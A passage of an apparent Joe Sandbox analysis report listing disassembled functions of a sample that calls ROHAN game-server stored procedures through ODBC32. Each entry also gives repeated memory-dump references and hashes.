                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetNGuildWarWin]}
                                                                                                                            • API String ID: 0-2614652633
                                                                                                                            • Opcode ID: 25ad2941cbbe611e052fad0b5ecbfefd1a3914d7d57c168d7fd64d04ed694c3d
                                                                                                                            • Instruction ID: 77c3a772e90731e8aa9f2001a4f7159215f377e10ce31f3884c07faca174c6f3
                                                                                                                            • Opcode Fuzzy Hash: 25ad2941cbbe611e052fad0b5ecbfefd1a3914d7d57c168d7fd64d04ed694c3d
                                                                                                                            • Instruction Fuzzy Hash: B0F0FEB1B4421CABEF24DF44CD62FEA7334EB40718F604289F7186E2C0D7B56A509B99
                                                                                                                            Function 004350E1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_LoadTimeEvent]},000000FD), ref: 004350F8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435137
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_LoadTimeEvent]}, xrefs: 004350EF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_LoadTimeEvent]}
                                                                                                                            • API String ID: 0-4281071345
                                                                                                                            • Opcode ID: 10c503e8898bf0da07306f581dc6376b9e481788169a2a4f8cb87b92e25b7ba6
                                                                                                                            • Instruction ID: a4f25529ce94a0bf0d65047b1936b160099cb6cb948cae79301d92562b9993ff
                                                                                                                            • Opcode Fuzzy Hash: 10c503e8898bf0da07306f581dc6376b9e481788169a2a4f8cb87b92e25b7ba6
                                                                                                                            • Instruction Fuzzy Hash: 61F012B1A44218ABEB20DF44CD42FAA7374EB48728F204289F7146E2C0D7B5AD509B5C
                                                                                                                            Function 00435081 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetAllTimeEvent]},000000FD), ref: 00435098
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004350D7
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetAllTimeEvent]}, xrefs: 0043508F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetAllTimeEvent]}
                                                                                                                            • API String ID: 0-2436004976
                                                                                                                            • Opcode ID: 106da9daae740544c1bab44084a3ee6f69979414e4cd182b9e724a046f34f83f
                                                                                                                            • Instruction ID: 34619acaab0c9ac44e91d6154d27058d75947f7e0ec49a494a1d8e4f96191622
                                                                                                                            • Opcode Fuzzy Hash: 106da9daae740544c1bab44084a3ee6f69979414e4cd182b9e724a046f34f83f
                                                                                                                            • Instruction Fuzzy Hash: 84F05EB1B84218ABEB20DF44CC22FAA7734EB44728F508289F7142E2C0D7B569418F98
                                                                                                                            Function 004381EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetItemControlList]},000000FD), ref: 00438202
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438244
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetItemControlList]}, xrefs: 004381F9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetItemControlList]}
                                                                                                                            • API String ID: 0-464021390
                                                                                                                            • Opcode ID: cdd977e24a9058a08fac448970ed40b7c3eac23ea8eae73bead6fb79af6bed7d
                                                                                                                            • Instruction ID: b2a981f6a2a57cc417bc5f7bebab84b5a237cad0eebee88353b7d6d8eb043adb
                                                                                                                            • Opcode Fuzzy Hash: cdd977e24a9058a08fac448970ed40b7c3eac23ea8eae73bead6fb79af6bed7d
                                                                                                                            • Instruction Fuzzy Hash: 5BF0FBB4654218B7DF14DF84CC41F5A7335EB40714F20838BF6182A2C4D6B57D508F68
                                                                                                                            Function 004397AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ReloadRollingNotice] },000000FD), ref: 004397C1
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00439803
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ReloadRollingNotice] }, xrefs: 004397B8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ReloadRollingNotice] }
                                                                                                                            • API String ID: 0-3458218849
                                                                                                                            • Opcode ID: 0e0d4f67bfb150fee81beca4023c8728901cd89ea5571755e152fba3a888797a
                                                                                                                            • Instruction ID: 5df69eeabea16424261aacdb92154157cf177264d271ce3858b5d8c705df94e1
                                                                                                                            • Opcode Fuzzy Hash: 0e0d4f67bfb150fee81beca4023c8728901cd89ea5571755e152fba3a888797a
                                                                                                                            • Instruction Fuzzy Hash: 4AF0F4B1645219A7FB20DF84CD51F6A7364EB80714F2042CAF6146A2C4D5756950DBA8
                                                                                                                            Function 00438A54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_RefreshGetItemControlList] },000000FD), ref: 00438A68
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438AAA
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_RefreshGetItemControlList] }, xrefs: 00438A5F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_RefreshGetItemControlList] }
                                                                                                                            • API String ID: 0-859345910
                                                                                                                            • Opcode ID: c58c06e5e32d08e512726807ecb5725cfd06b9b3db6c8347eddf951f5e5f9bc0
                                                                                                                            • Instruction ID: 1673100a124b3c276a601b23a491701b15d70af0fd8664aa1e544b1b12a9b970
                                                                                                                            • Opcode Fuzzy Hash: c58c06e5e32d08e512726807ecb5725cfd06b9b3db6c8347eddf951f5e5f9bc0
                                                                                                                            • Instruction Fuzzy Hash: 77F019B1655218A7DB20CF84CC41F6A7374EB40714F10828BFA186E6C4D6757D508FA9
                                                                                                                            Function 00439750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_LoadRollingNotice] },000000FD), ref: 00439764
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004397A3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_LoadRollingNotice] }, xrefs: 0043975B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_LoadRollingNotice] }
                                                                                                                            • API String ID: 0-4061518715
                                                                                                                            • Opcode ID: 99f2327a2766bbe737734ff5e34988714903710180a4e98edb19bd2788d7a423
                                                                                                                            • Instruction ID: e3529e90b01828434d8a96cafd058b8dac92a5df8f77b5ef8686cb29f40ce7e9
                                                                                                                            • Opcode Fuzzy Hash: 99f2327a2766bbe737734ff5e34988714903710180a4e98edb19bd2788d7a423
                                                                                                                            • Instruction Fuzzy Hash: ECF0FEB1A54319EBEB20CF84CC41FAA7374FB44714F21828FF6142A2C4D7B569408FA8
